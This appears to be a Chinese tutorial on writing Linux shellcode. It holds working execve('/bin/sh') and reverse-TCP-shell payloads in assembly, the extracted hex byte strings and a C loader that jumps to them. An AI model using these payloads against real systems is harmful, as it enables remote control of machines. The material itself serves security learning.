Shellcode简介

Shellcode是一段用于利用软件漏洞的有效负载,它通常是用汇编语言编写的机器码,可以执行特定的功能,例如启动一个命令行shell,从而让攻击者控制被攻击的机器。Shellcode之所以被称为shellcode,是因为它最初的目的是在目标系统上执行/bin/sh命令,打开一个交互式shell。

Shellcode可以根据攻击者是否在目标机器上执行有效负载分为本地shellcode和远程shellcode。本地shellcode通常用于在攻击者对计算机的访问权限有限,需要利用软件漏洞提升权限的情况。远程shellcode通常用于在攻击者以运行在某个网络中的另一台机器上的易受攻击的进程为目标时,如果成功执行,shellcode可以通过网络访问目标主机。

汇编基础

以编译输出wolf为例,编写wolf.asm文件如下:

BITS 32
section .data
msg   db    "wolf", 0xa

section .text
global _start

_start:
mov eax, 4 ; syscall to write()
mov ebx, 1
mov ecx, msg
mov edx, 4
int 0x80

mov eax, 1
mov ebx, 0
int 0x80

然后执行以下命令安装并编译:

apt-get install libc6-dev-i386

┌──(root㉿kali)-[/usr/src/linux-shellcode]
└─# nasm -f elf32 wolf.asm 
┌──(root㉿kali)-[/usr/src/linux-shellcode]
└─# ld -m elf_i386 wolf.o -o wolf
┌──(root㉿kali)-[/usr/src/linux-shellcode]
└─# ./wolf 
wolf

Shellcode是一个可以由 CPU 作为二进制代码执行的字符串,使用以下命令可以查看16进制的样子:

┌──(root㉿kali)-[/usr/src/linux-shellcode]
└─# objdump -Mintel -D ./wolf 

./wolf:     文件格式 elf32-i386


Disassembly of section .text:

08049000 <_start>:
 8049000:       b8 04 00 00 00          mov    eax,0x4
 8049005:       bb 01 00 00 00          mov    ebx,0x1
 804900a:       b9 00 a0 04 08          mov    ecx,0x804a000
 804900f:       ba 04 00 00 00          mov    edx,0x4
 8049014:       cd 80                   int    0x80
 8049016:       b8 01 00 00 00          mov    eax,0x1
 804901b:       bb 00 00 00 00          mov    ebx,0x0
 8049020:       cd 80                   int    0x80

Disassembly of section .data:

0804a000 <msg>:
 804a000:       77 6f                   ja     804a071 <_end+0x69>
 804a002:       6c                      ins    BYTE PTR es:[edi],dx
 804a003:       66                      data16
 804a004:       0a                      .byte 0xa

<_start>处为编写的代码,可以看到有很多的空字节。

空字节是指那些十六进制数值为00的字节,它们在汇编指令中通常表示为0x00或者00。空字节对于一些系统调用或函数的参数是无效的,因为它们会被当作字符串的结束符。

在编写Shellcode时,应该避免使用空字节,因为它们可能会被当作字符串的结束符,导致截断或错误。

从Shellcode中删除空字节并不难,编写flow.asm文件如下:

BITS 32

section .text
global _start

_start:
xor eax, eax    ; EAX = 0
push eax        ; string terminator (null byte)
push 0x666c6f77; "flow"
mov ecx, esp    ; ESP is our string pointer
mov al, 4       ; AL is 1 byte, enough for the value 4
xor ebx, ebx    ; EBX = 0
inc ebx         ; EBX = 1
xor edx, edx    ; EDX = 0
mov dl, 8       ; DL is 1 byte, enough for the value 8 (added space)
int 0x80        ; print

mov al, 1       ; AL = 1
dec ebx         ; EBX was 1, we decrement
int 0x80        ; exit

在该代码中通过对0进行异或、使用1字节寄存器,并对字符串插入一个0作为终止符,然后插入4字节(相反),最后使用ESP作为字符指针来删除空字节。

编译并执行:

┌──(root㉿kali)-[/usr/src/linux-shellcode]
└─# nasm -f elf32 flow.asm 
┌──(root㉿kali)-[/usr/src/linux-shellcode]
└─# ld -m elf_i386 flow.o -o flow
┌──(root㉿kali)-[/usr/src/linux-shellcode]
└─# ./flow 
wolf

接下来使用ob查看即可看到没有空字节了:

┌──(root㉿kali)-[/usr/src/linux-shellcode]
└─# objdump -Mintel -D ./flow

./flow:     文件格式 elf32-i386


Disassembly of section .text:

08049000 <_start>:
 8049000:       31 c0                   xor    eax,eax
 8049002:       50                      push   eax
 8049003:       68 77 6f 6c 66          push   0x666c6f77
 8049008:       89 e1                   mov    ecx,esp
 804900a:       b0 04                   mov    al,0x4
 804900c:       31 db                   xor    ebx,ebx
 804900e:       43                      inc    ebx
 804900f:       31 d2                   xor    edx,edx
 8049011:       b2 08                   mov    dl,0x8
 8049013:       cd 80                   int    0x80
 8049015:       b0 01                   mov    al,0x1
 8049017:       4b                      dec    ebx
 8049018:       cd 80                   int    0x80

Shellcode编写

接下来将创建一个带有shell提示符的Shellcode。

为此,使用execve系统调用,它可以执行一个可执行文件或者一个shell命令。

原型如下:

int execve(const char *filename, char *const argv[], char *const envp[]);

接着编写exec.asm文件代码如下:

BITS 32

section .text
global _start

_start:
xor eax, eax
push eax        ; string terminator
push 0x68732f6e ; "hs/n"
push 0x69622f2f ; "ib//"
mov ebx, esp    ; "//bin/sh",0 pointer is ESP
xor ecx, ecx    ; ECX = 0
xor edx, edx    ; EDX = 0
mov al, 0xb     ; execve()
int 0x80

编译并执行后会出现shell提示符,输入命令即可执行,效果如下:

┌──(root㉿kali)-[/usr/src/linux-shellcode]
└─# nasm -f elf32 exec.asm 
┌──(root㉿kali)-[/usr/src/linux-shellcode]
└─# ld -m elf_i386 exec.o -o exec
┌──(root㉿kali)-[/usr/src/linux-shellcode]
└─# ./exec
# id
uid=0(root) gid=0(root) groups=0(root)
# exit

目前来讲,这不是Shellcode,而是ELF文件。

当使用nasm组装和ld链接代码时,它包含在 ELF 文件中,但在实际用例中,我们不会注入 ELF 文件。

使用ob即可轻松提取出Shellcode:

┌──(root㉿kali)-[/usr/src/linux-shellcode]
└─# objdump -d ./exec|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

接下来只需要编写Shellcode加载器即可,编写shell.c文件如下:

#include <stdio.h>
#include <string.h>

char shellcode[] =
	"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
 
int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;  
	(*ret) = (int)shellcode;
}

反向TCP Shellcode

首先,使用汇编语言编写相应的代码,调用Linux系统调用或函数来实现功能。这里我们使用了以下几个系统调用:

  • socket系统调用,它可以创建一个套接字,用于网络通信。它的原型如下:
int socket(int domain, int type, int protocol);
  • connect系统调用,它可以连接到一个指定的套接字地址,用于建立连接。它的原型如下:
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
  • dup2系统调用,它可以复制一个文件描述符,用于重定向输入输出。它的原型如下:
int dup2(int oldfd, int newfd);
  • execve系统调用,它可以执行一个可执行文件或者一个shell命令。它的原型如下:
int execve(const char *filename, char *const argv[], char *const envp[]);

接下来编写connet.asm文件如下:

BITS 32

section .text
global _start

_start:
; Call to socket(2, 1, 0)
push 0x66     ; socketcall()
pop eax 
xor ebx, ebx
inc ebx       ; EBX = 1 for SYS_SOCKET
xor edx, edx  ; Bulding args array for socket() call
push edx      ; proto = 0 (IPPROTO_IP)
push BYTE 0x1 ; SOCK_STREAM
push BYTE 0x2 ; AF_INET
mov ecx, esp  ; ECX contain the array pointer
int 0x80      ; After the call, EAX contains the file descriptor

xchg esi, eax ; ESI = fd

; Call to connect(fd, [AF_INET, 4444, 127.0.0.1], 16)
push 0x66         ; socketcall()
pop eax 
mov edx, 0x02010180 ; Trick to avoid null bytes (128.1.1.2)
sub edx, 0x01010101 ; 128.1.1.2 - 1.1.1.1 = 127.0.0.1
push edx          ; store 127.0.0.1
push WORD 0x5c11  ; push port 4444
inc ebx           ; EBX = 2
push WORD bx      ; AF_INET
mov ecx, esp      ; pointer to sockaddr
push BYTE 0x10    ; 16, size of addrlen
push ecx          ; new pointer to sockaddr
push esi          ; fd pointer
mov ecx, esp      ; ECX contain the array pointer
inc ebx           ; EBX = 3 for SYS_CONNECT
int 0x80          ; EAX contains the connected socket
; Call to dup2(fd, ...) with a loop for the 3 descriptors
xchg eax, ebx   ; EBX = fd for connect()
push BYTE 0x2   ; we start with stderr
pop ecx

loop:
mov BYTE al, 0x3f ; dup2()
int 0x80
dec ecx
jns loop ; loop until sign flag is set meaning ECX is negative

; Call to execve()
xor eax, eax
push eax        ; string terminator
push 0x68732f6e ; "hs/n"
push 0x69622f2f ; "ib//"
mov ebx, esp    ; "//bin/sh",0 pointer is ESP
xor ecx, ecx    ; ECX = 0
xor edx, edx    ; EDX = 0
mov al, 0xb     ; execve()
int 0x80  

在该代码中,为了避免IP地址空字节,使用了一种规避空字节的技巧:

  • 首先,将edx寄存器的值设为0x02010180,这是一个十六进制数,它对应的IP地址是128.1.1.2,它没有空字节。
  • 然后,将edx寄存器的值减去0x01010101,这也是一个十六进制数,它对应的IP地址是1.1.1.1,它也没有空字节。
  • 最后,得到的结果是0x0100007F,这是一个十六进制数,它对应的IP地址是127.0.0.1,它有一个空字节。

这样,就可以通过两个没有空字节的数的运算来得到一个有空字节的数,从而避免在代码中直接使用空字节。

编译:

┌──(root㉿kali)-[/usr/src/linux-shellcode]
└─# nasm -f elf32 connet.asm
┌──(root㉿kali)-[/usr/src/linux-shellcode]
└─# ld -m elf_i386 connet.o -o connet

在另一个终端开启监听:

┌──(root㉿kali)-[/usr/src/linux-shellcode]
└─# nc -lvp 4444
listening on [any] 4444 ...

运行程序后即可在监听终端看到连接:

┌──(root㉿kali)-[/usr/src/linux-shellcode]
└─# nc -lvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 36608

提取Shellcode:

┌──(root㉿kali)-[/usr/src/linux-shellcode]
└─# objdump -d ./connet|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\xba\x80\x01\x01\x02\x81\xea\x01\x01\x01\x01\x52\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

因为之前一直用的32位演示,所以现在简单的演示一下64位,编写shell64.asm:

section .text
global _start

_start:
xor rax, rax
push rax        ; string terminator
mov rax, 0x68732f6e69622f2f ; "hs/nib//"
push rax
mov rdi, rsp    ; "//bin/sh",0 pointer is RSP
xor rsi, rsi    ; RSI = 0
xor rdx, rdx    ; RDX = 0
xor rax, rax    ; RAX = 0
mov al, 0x3b    ; execve()
syscall

编译并运行:

┌──(root㉿kali)-[/usr/src/linux-shellcode]
└─# nasm -f elf64 shell64.asm
┌──(root㉿kali)-[/usr/src/linux-shellcode]
└─# ld -m elf_x86_64 shell64.o -o shell64 
┌──(root㉿kali)-[/usr/src/linux-shellcode]
└─# ./shell64
# id
uid=0(root) gid=0(root) groups=0(root)
# exit

提取Shellcode:

┌──(root㉿kali)-[/usr/src/linux-shellcode]
└─# objdump -d ./shell64|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x48\x31\xc0\x50\x48\xb8\x2f\x2f\x62\x69\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\xb0\x3b\x0f\x05"